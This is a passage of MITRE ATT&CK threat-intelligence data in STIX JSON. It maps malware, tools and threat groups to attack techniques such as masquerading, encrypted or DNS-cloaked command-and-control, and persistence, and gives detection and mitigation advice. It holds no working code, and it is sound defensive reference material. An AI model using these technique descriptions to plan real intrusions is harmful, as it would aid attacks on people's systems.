"relationship--09585362-e286-4854-b987-69490dfac965", "created": "2024-03-29T04:33:47.360Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "PenTestLabs AppDomainManagerInject", "description": "Administrator. (2020, May 26). APPDOMAINMANAGER INJECTION AND DETECTION. Retrieved March 28, 2024.", "url": "https://pentestlaboratories.com/2020/05/26/appdomainmanager-injection-and-detection/"}, {"source_name": "Rapid7 AppDomain Manager Injection", "description": "Spagnola, N. (2023, May 5). AppDomain Manager Injection: New Techniques For Red Teams. Retrieved March 29, 2024.", "url": "https://www.rapid7.com/blog/post/2023/05/05/appdomain-manager-injection-new-techniques-for-red-teams/"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2024-04-28T15:50:35.140Z", "description": "Monitor DLL/PE file events, specifically creation of these binary files as well as the loading of .NET assemblies into processes (which may not always create standard image load events).\n\nLook for image loads that are not recognized or not normally loaded into a process.(Citation: PenTestLabs AppDomainManagerInject)(Citation: Rapid7 AppDomain Manager Injection)", "relationship_type": "detects", "source_ref": "x-mitre-data-component--c0a4a086-cc20-4e1e-b7cb-29d99dfa3fb1", "target_ref": "attack-pattern--356662f7-e315-4759-86c9-6214e2a50ff8", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "3.2.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--095a259d-79c7-42b0-b65a-e423f110d187", "type": "relationship", "created": "2019-03-26T19:23:02.007Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Trend Micro Emotet Jan 2019", "url": "https://documents.trendmicro.com/assets/white_papers/ExploringEmotetsActivities_Final.pdf", "description": "Trend Micro. (2019, January 16). Exploring Emotet's Activities . Retrieved March 25, 2019."}], "modified": "2020-03-20T23:22:03.080Z", "description": "[Emotet](https://attack.mitre.org/software/S0367) is known to use RSA keys for encrypting C2 traffic. (Citation: Trend Micro Emotet Jan 2019)", "relationship_type": "uses", "source_ref": "malware--32066e94-3112-48ca-b9eb-ba2b59d2f023", "target_ref": "attack-pattern--bf176076-b789-408e-8cba-7275e81c0ada", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--095bfdd3-2379-4cad-bef4-53e8bdd08a75", "created": "2020-11-06T18:40:37.979Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "Talos Cobalt Strike September 2020", "description": "Mavis, N. (2020, September 21). The Art and Science of Detecting Cobalt Strike. Retrieved April 6, 2021.", "url": "https://talos-intelligence-site.s3.amazonaws.com/production/document_files/files/000/095/031/original/Talos_Cobalt_Strike.pdf"}, {"source_name": "cobaltstrike manual", "description": "Strategic Cyber LLC. (2017, March 14). Cobalt Strike Manual. Retrieved May 24, 2017.", "url": "https://web.archive.org/web/20210825130434/https://cobaltstrike.com/downloads/csmanual38.pdf"}, {"source_name": "Cobalt Strike Manual 4.3 November 2020", "description": "Strategic Cyber LLC. (2020, November 5). Cobalt Strike: Advanced Threat Tactics for Penetration Testers. Retrieved April 13, 2021.", "url": "https://web.archive.org/web/20210708035426/https://www.cobaltstrike.com/downloads/csmanual43.pdf"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2022-11-30T22:37:12.373Z", "description": "[Cobalt Strike](https://attack.mitre.org/software/S0154)'s Beacon payload is capable of running shell commands without <code>cmd.exe</code> and PowerShell commands without <code>powershell.exe</code>(Citation: cobaltstrike manual)(Citation: Talos Cobalt Strike September 2020)(Citation: Cobalt Strike Manual 4.3 November 2020)", "relationship_type": "uses", "source_ref": "malware--a7881f21-e978-4fe4-af56-92c9416a2616", "target_ref": "attack-pattern--391d824f-0ef1-47a0-b0ee-c59a75e27670", "x_mitre_deprecated": false, "x_mitre_version": "1.0", "x_mitre_attack_spec_version": "3.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--095d2af9-dca4-4a7a-b22e-e37923e7c43c", "type": "relationship", "created": "2019-03-11T17:18:27.587Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"url": "https://github.com/PowerShellEmpire/Empire", "description": "Schroeder, W., Warner, J., Nelson, M. (n.d.). Github PowerShellEmpire. Retrieved April 28, 2016.", "source_name": "Github PowerShell Empire"}, {"description": "The Australian Cyber Security Centre (ACSC), the Canadian Centre for Cyber Security (CCCS), the New Zealand National Cyber Security Centre (NZ NCSC), CERT New Zealand, the UK National Cyber Security Centre (UK NCSC) and the US National Cybersecurity and Communications Integration Center (NCCIC). (2018, October 11). Joint report on publicly available hacking tools. Retrieved March 11, 2019.", "url": "https://www.ncsc.gov.uk/report/joint-report-on-publicly-available-hacking-tools", "source_name": "NCSC Joint Report Public Tools"}], "modified": "2021-04-09T14:46:59.590Z", "description": "[Empire](https://attack.mitre.org/software/S0363) leverages PowerShell for the majority of its client-side agent tasks. [Empire](https://attack.mitre.org/software/S0363) also contains the ability to conduct PowerShell remoting with the <code>Invoke-PSRemoting</code> module.(Citation: Github PowerShell Empire)(Citation: NCSC Joint Report Public Tools)", "relationship_type": "uses", "source_ref": "tool--3433a9e8-1c47-4320-b9bf-ed449061d1c3", "target_ref": "attack-pattern--970a3432-3237-47ad-bcca-7d8cbb217736", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--095d33b5-523d-40ae-aad9-448910d527d3", "created": "2022-10-13T14:46:14.674Z", "revoked": false, "external_references": [{"source_name": "Bitdefender FunnyDream Campaign November 2020", "description": "Vrabie, V. (2020, November). Dissecting a Chinese APT Targeting South Eastern Asian Government Institutions. Retrieved September 19, 2022.", "url": "https://www.bitdefender.com/files/News/CaseStudies/study/379/Bitdefender-Whitepaper-Chinese-APT.pdf"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2022-10-13T14:46:14.674Z", "description": "[PcShare](https://attack.mitre.org/software/S1050) has been named `wuauclt.exe` to appear as the legitimate Windows Update AutoUpdate Client.(Citation: Bitdefender FunnyDream Campaign November 2020)", "relationship_type": "uses", "source_ref": "tool--3a53b207-aba2-4a2b-9cdb-273d633669e7", "target_ref": "attack-pattern--1c4e5d32-1fe9-4116-9d9d-59e3925bd6a2", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "2.1.0", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--095e5f7b-288c-4995-8045-b691602d38c9", "type": "relationship", "created": "2020-02-10T20:43:10.395Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2021-04-20T19:23:37.972Z", "description": "Use tools that restrict program execution via application control by attributes other than file name for common operating system utilities that are needed.", "relationship_type": "mitigates", "source_ref": "course-of-action--47e0e9fe-96ce-4f65-8bb1-8be1feacb5db", "target_ref": "attack-pattern--1c4e5d32-1fe9-4116-9d9d-59e3925bd6a2", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--095f6266-2535-4991-ad6b-64388513d6e7", "type": "relationship", "created": "2019-09-16T19:41:10.098Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Security Intelligence More Eggs Aug 2019", "url": "https://securityintelligence.com/posts/more_eggs-anyone-threat-actor-itg08-strikes-again/", "description": "Villadsen, O.. (2019, August 29). More_eggs, Anyone? Threat Actor ITG08 Strikes Again. Retrieved September 16, 2019."}], "modified": "2019-09-16T19:41:10.098Z", "description": "[More_eggs](https://attack.mitre.org/software/S0284) will decode malware components that are then dropped to the system.(Citation: Security Intelligence More Eggs Aug 2019)", "relationship_type": "uses", "source_ref": "malware--bfd2738c-8b43-43c3-bc9f-d523c8e88bf4", "target_ref": "attack-pattern--3ccef7ae-cb5e-48f6-8302-897105fbf55c", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--096287e3-0985-4678-95d1-0f6e5a22b7e6", "created": "2023-03-08T22:58:38.802Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2023-04-11T23:16:09.790Z", "description": "Implement security controls on the endpoint, such as a Host Intrusion Prevention System (HIPS), to identify and prevent execution of files with mismatching file signatures.", "relationship_type": "mitigates", "source_ref": "course-of-action--90f39ee1-d5a3-4aaa-9f28-3b42815b0d46", "target_ref": "attack-pattern--208884f1-7b83-4473-ac22-4e1cf6c41471", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "3.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--09673a33-d15e-460a-8980-55c67ee2bb19", "type": "relationship", "created": "2021-10-17T15:10:00.720Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "TrendMicro Tonto Team October 2020", "url": "https://vb2020.vblocalhost.com/uploads/VB2020-06.pdf", "description": "Daniel Lughi, Jaromir Horejsi. (2020, October 2). Tonto Team - Exploring the TTPs of an advanced threat actor operating a large infrastructure. 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Retrieved March 22, 2022."}], "modified": "2022-03-23T19:01:21.698Z", "description": "[Lazarus Group](https://attack.mitre.org/groups/G0032) persistence mechanisms have used <code>forfiles.exe</code> to execute .htm files.(Citation: Qualys LolZarus)", "relationship_type": "uses", "source_ref": "intrusion-set--c93fccb1-e8e8-42cf-ae33-2ad1d183913a", "target_ref": "attack-pattern--3b0e52ce-517a-4614-a523-1bd5deef6c5e", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--0973d20e-45a6-4b06-95ad-05b4687f4d29", "type": "relationship", "created": "2022-03-30T14:26:51.859Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2022-03-30T14:26:51.859Z", "description": "Command arguments used before and after the invocation of odbcconf.exe may also be useful in determining the origin and purpose of the DLL being loaded.", "source_ref": "x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0", "target_ref": "attack-pattern--6e3bd510-6b33-41a4-af80-2d80f3ee0071", "relationship_type": "detects", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--0977c267-10f9-4e4d-a947-464359c7a4ba", "created": "2023-02-16T16:39:26.645Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "Secureworks DarkTortilla Aug 2022", "description": "Secureworks Counter Threat Unit Research Team. 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Toolkits like the PowerSploit framework contain PowerUp modules that can be used to explore systems for service file system permissions weaknesses.(Citation: Powersploit)", "relationship_type": "mitigates", "source_ref": "course-of-action--cc2399fd-3cd3-4319-8d0a-fbd6420cdaf8", "target_ref": "attack-pattern--70d81154-b187-45f9-8ec5-295d01255979", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--09869965-8dcd-4c20-a997-c075b6ed0434", "type": "relationship", "created": "2018-04-18T17:59:24.739Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"url": "https://github.com/n1nj4sec/pupy", "description": "Nicolas Verdier. (n.d.). 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(2020, June 22). Pillowmint: FIN7\u2019s Monkey Thief . Retrieved July 27, 2020."}], "modified": "2020-10-02T17:23:24.564Z", "description": "[Pillowmint](https://attack.mitre.org/software/S0517) has used a malicious shim database to maintain persistence.(Citation: Trustwave Pillowmint June 2020)", "relationship_type": "uses", "source_ref": "malware--bd7a9e13-69fa-4243-a5e5-04326a63f9f2", "target_ref": "attack-pattern--42fe883a-21ea-4cfb-b94a-78b6476dcc83", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--098a760a-66ce-46e0-938e-86518e450a27", "type": "relationship", "created": "2020-05-21T14:55:00.332Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "TrendMicro Tropic Trooper May 2020", "url": "https://documents.trendmicro.com/assets/Tech-Brief-Tropic-Trooper-s-Back-USBferry-Attack-Targets-Air-gapped-Environments.pdf", "description": "Chen, J.. (2020, May 12). Tropic Trooper\u2019s Back: USBferry Attack Targets Air gapped Environments. Retrieved May 20, 2020."}], "modified": "2020-05-21T14:55:00.332Z", "description": "[Tropic Trooper](https://attack.mitre.org/groups/G0081) has deleted dropper files on an infected system using command scripts.(Citation: TrendMicro Tropic Trooper May 2020)\t", "relationship_type": "uses", "source_ref": "intrusion-set--56319646-eb6e-41fc-ae53-aadfa7adb924", "target_ref": "attack-pattern--d63a3fb8-9452-4e9d-a60a-54be68d5998c", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--098c0f13-e56f-43ff-8fee-0cce9d771092", "created": "2024-03-25T16:54:39.707Z", "revoked": false, "external_references": [{"source_name": "AcidRain JAGS 2022", "description": "Juan Andres Guerrero-Saade and Max van Amerongen, SentinelOne. (2022, March 31). AcidRain | A Modem Wiper Rains Down on Europe. Retrieved March 25, 2024.", "url": "https://www.sentinelone.com/labs/acidrain-a-modem-wiper-rains-down-on-europe/"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2024-03-25T16:54:39.707Z", "description": "[AcidRain](https://attack.mitre.org/software/S1125) reboots the target system once the various wiping processes are complete.(Citation: AcidRain JAGS 2022)", "relationship_type": "uses", "source_ref": "malware--04cecafd-cb5f-4daf-aa1f-73899116c4a2", "target_ref": "attack-pattern--ff73aa03-0090-4464-83ac-f89e233c02bc", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "3.2.0", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--0992eecd-111f-4b22-b016-b74f07c8d817", "type": "relationship", "created": "2021-06-24T11:57:32.001Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "BleepingComputer REvil 2021", "url": "https://www.bleepingcomputer.com/news/security/revil-ransomware-has-a-new-windows-safe-mode-encryption-mode/", "description": "Abrams, L. (2021, March 19). REvil ransomware has a new \u2018Windows Safe Mode\u2019 encryption mode. Retrieved June 23, 2021."}], "modified": "2021-06-24T11:57:32.001Z", "description": "[REvil](https://attack.mitre.org/software/S0496) can force a reboot in safe mode with networking.(Citation: BleepingComputer REvil 2021)", "relationship_type": "uses", "source_ref": "malware--ac61f1f9-7bb1-465e-9b8a-c2ce8e88baf5", "target_ref": "attack-pattern--28170e17-8384-415c-8486-2e6b294cb803", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--0994d9a9-b94e-4235-b762-18c2f7b2ed57", "type": "relationship", "created": "2020-08-18T15:36:30.900Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "SentinelOne Lazarus macOS July 2020", "url": "https://www.sentinelone.com/blog/four-distinct-families-of-lazarus-malware-target-apples-macos-platform/", "description": "Stokes, P. (2020, July 27). Four Distinct Families of Lazarus Malware Target Apple\u2019s macOS Platform. Retrieved August 7, 2020."}], "modified": "2020-08-18T15:36:30.900Z", "description": "[Cryptoistic](https://attack.mitre.org/software/S0498) can retrieve files from the local file system.(Citation: SentinelOne Lazarus macOS July 2020)", "relationship_type": "uses", "source_ref": "malware--a04d9a4c-bb52-40bf-98ec-e350c2d6a862", "target_ref": "attack-pattern--3c4a2599-71ee-4405-ba1e-0e28414b4bc5", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--09962c1d-38be-43f6-83bc-a63d1bebdb2d", "type": "relationship", "created": "2020-05-06T21:31:07.218Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "ESET Okrum July 2019", "url": "https://www.welivesecurity.com/wp-content/uploads/2019/07/ESET_Okrum_and_Ketrican.pdf", "description": "Hromcova, Z. (2019, July). OKRUM AND KETRICAN: AN OVERVIEW OF RECENT KE3CHANG GROUP ACTIVITY. Retrieved May 6, 2020."}], "modified": "2020-05-06T21:31:07.218Z", "description": "[Okrum](https://attack.mitre.org/software/S0439) can establish persistence by creating a .lnk shortcut to itself in the Startup folder.(Citation: ESET Okrum July 2019)", "relationship_type": "uses", "source_ref": "malware--4b6ec280-7bbb-48ff-ae59-b189520ebe83", "target_ref": "attack-pattern--4ab929c6-ee2d-4fb5-aab4-b14be2ed7179", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--0997f41a-0232-4331-8a11-11a6433d8343", "type": "relationship", "created": "2020-05-27T13:22:06.763Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "CheckPoint Naikon May 2020", "url": "https://research.checkpoint.com/2020/naikon-apt-cyber-espionage-reloaded/", "description": "CheckPoint. (2020, May 7). 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Retrieved October 7, 2019."}], "modified": "2019-10-07T19:05:49.065Z", "description": "[BabyShark](https://attack.mitre.org/software/S0414) has executed the <code>whoami</code> command.(Citation: Unit42 BabyShark Feb 2019)", "relationship_type": "uses", "source_ref": "malware--d1b7830a-fced-4be3-a99c-f495af9d9e1b", "target_ref": "attack-pattern--03d7999c-1f4c-42cc-8373-e7690d318104", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--0a06686e-b4f4-4f1b-a4b2-b473e706f658", "type": "relationship", "created": "2022-03-30T14:26:51.861Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2022-03-30T14:26:51.861Z", "description": "Monitor for newly constructed processes and/or command-lines for actions that could be taken to gather system and network information. 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Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Lateral Movement, based on the information obtained.", "source_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", "target_ref": "attack-pattern--15dbf668-795c-41e6-8219-f0447c0e64ce", "relationship_type": "detects", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--0a068253-0c11-4ba7-bac4-1290e5f50960", "type": "relationship", "created": "2021-03-02T18:16:41.063Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "CISA AppleJeus Feb 2021", "url": "https://us-cert.cisa.gov/ncas/alerts/aa21-048a", "description": "Cybersecurity and Infrastructure Security Agency. (2021, February 21). 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Retrieved April 9, 2021."}], "x_mitre_deprecated": false, "revoked": false, "description": "[PoetRAT](https://attack.mitre.org/software/S0428) has used FTP for C2 communications.(Citation: Talos PoetRAT October 2020)", "modified": "2022-04-19T01:39:12.881Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "relationship_type": "uses", "source_ref": "malware--cc5497f7-a9e8-436f-94da-b2b4a9b9ad3c", "target_ref": "attack-pattern--9a60a291-8960-4387-8a4a-2ab5c18bb50b", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--0a10c38f-58fc-4619-be86-d67f62495242", "type": "relationship", "created": "2022-03-30T14:26:51.836Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2022-03-30T14:26:51.836Z", "description": "Monitor for changes made to files that are modified by unusual accounts outside of normal administration duties.", "source_ref": "x-mitre-data-component--84572de3-9583-4c73-aabd-06ea88123dd8", "target_ref": "attack-pattern--03259939-0b57-482f-8eb5-87c0e0d54334", "relationship_type": "detects", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--0a154ef3-859f-4f13-b5c9-9bd0e91864f0", "created": "2023-03-23T18:33:55.700Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "ESET Dukes October 2019", "description": "Faou, M., Tartare, M., Dupuy, T. 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Consider correlation with process monitoring and command line to detect anomalous processes execution and command line arguments associated to traffic patterns (e.g. monitor anomalies in use of files that do not normally initiate connections for respective protocol(s)).", "relationship_type": "detects", "source_ref": "x-mitre-data-component--3772e279-27d6-477a-9fe3-c6beb363594c", "target_ref": "attack-pattern--bf1b6176-597c-4600-bfcd-ac989670f96b", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "3.2.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--0a1b48b9-2063-449d-a316-c6760267720f", "created": "2022-09-26T13:53:16.527Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "Bitdefender FunnyDream Campaign November 2020", "description": "Vrabie, V. (2020, November). Dissecting a Chinese APT Targeting South Eastern Asian Government Institutions. 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Retrieved May 5, 2020."}], "modified": "2020-05-06T18:10:59.308Z", "description": "[Kivars](https://attack.mitre.org/software/S0437) has the ability to uninstall malware from the infected host.(Citation: TrendMicro BlackTech June 2017)", "relationship_type": "uses", "source_ref": "malware--b2d134a1-7bd5-4293-94d4-8fc978cb1cd7", "target_ref": "attack-pattern--d63a3fb8-9452-4e9d-a60a-54be68d5998c", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "type": "relationship", "id": "relationship--0aa994e4-f1a3-4c14-b5e0-f2f6247d6630", "created": "2022-06-02T14:01:38.866Z", "x_mitre_version": "0.1", "external_references": [{"source_name": "Cisco Talos Bitter Bangladesh May 2022", "url": "https://blog.talosintelligence.com/2022/05/bitter-apt-adds-bangladesh-to-their.html", "description": "Raghuprasad, C . (2022, May 11). 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Retrieved June 14, 2022."}], "x_mitre_deprecated": false, "revoked": false, "description": "(Citation: Kaspersky Lyceum October 2021)(Citation: Accenture Lyceum Targets November 2021)", "modified": "2022-06-16T14:06:32.029Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "relationship_type": "uses", "source_ref": "intrusion-set--f29b7c5e-2439-42ad-a86f-9f8984fafae3", "target_ref": "malware--aea6d6b8-d832-4c90-a1bb-f52c6684db6c", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--0b10d358-b59f-4fc0-8eaf-37352be9c80b", "type": "relationship", "created": "2018-10-17T00:14:20.652Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"url": "http://www.finfisher.com/FinFisher/index.html", "description": "FinFisher. (n.d.). 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(2020, July 16). MAR-10296782-2.v1 \u2013 WELLMESS. Retrieved September 24, 2020."}], "modified": "2020-09-30T14:52:09.009Z", "description": "[WellMess](https://attack.mitre.org/software/S0514) can collect the username on the victim machine to send to C2.(Citation: CISA WellMess July 2020)", "relationship_type": "uses", "source_ref": "malware--3a4197ae-ec63-4162-907b-9a073d1157e4", "target_ref": "attack-pattern--03d7999c-1f4c-42cc-8373-e7690d318104", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--0b13006f-3662-4175-86b1-607f20895863", "created": "2024-02-12T19:57:26.466Z", "revoked": false, "external_references": [{"source_name": "Ensilo Darkgate 2018", "description": "Adi Zeligson & Rotem Kerner. (2018, November 13). Enter The DarkGate - New Cryptocurrency Mining and Ransomware Campaign. Retrieved February 9, 2024.", "url": "https://www.fortinet.com/blog/threat-research/enter-the-darkgate-new-cryptocurrency-mining-and-ransomware-campaign"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2024-02-12T19:57:26.466Z", "description": "[DarkGate](https://attack.mitre.org/software/S1111) can cloak command and control traffic in DNS records from legitimate services to avoid reputation-based detection techniques. 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Retrieved May 15, 2023.", "url": "https://www.mandiant.com/resources/blog/turla-galaxy-opportunity"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2023-05-17T18:27:31.052Z", "description": "[ANDROMEDA](https://attack.mitre.org/software/S1074) can download additional payloads from C2.(Citation: Mandiant Suspected Turla Campaign February 2023)", "relationship_type": "uses", "source_ref": "malware--dcd9548e-df9e-47c2-81f3-bc084289959d", "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "3.1.0", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--0b24b8de-944d-49ea-a15f-cb732aeb31de", "type": "relationship", "created": "2020-02-10T20:03:11.833Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2020-02-10T20:03:11.833Z", "relationship_type": "subtechnique-of", "source_ref": "attack-pattern--bd5b58a4-a52d-4a29-bc0d-3f1d3968eb6b", "target_ref": "attack-pattern--42e8de7b-37b2-4258-905a-6897815e58e0", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "type": "relationship", "id": "relationship--0b255cef-7177-48b8-ade1-752314f90b7e", "created": "2020-03-27T21:01:19.133Z", "x_mitre_version": "1.0", "external_references": [{"source_name": "Novetta Blockbuster Destructive Malware", "url": "https://web.archive.org/web/20160303200515/https://operationblockbuster.com/wp-content/uploads/2016/02/Operation-Blockbuster-Destructive-Malware-Report.pdf", "description": "Novetta Threat Research Group. (2016, February 24). Operation Blockbuster: Destructive Malware Report. Retrieved March 2, 2016."}, {"source_name": "Novetta Blockbuster", "url": "https://web.archive.org/web/20160226161828/https://www.operationblockbuster.com/wp-content/uploads/2016/02/Operation-Blockbuster-Report.pdf", "description": "Novetta Threat Research Group. (2016, February 24). Operation Blockbuster: Unraveling the Long Thread of the Sony Attack. Retrieved February 25, 2016."}, {"source_name": "McAfee Lazarus Resurfaces 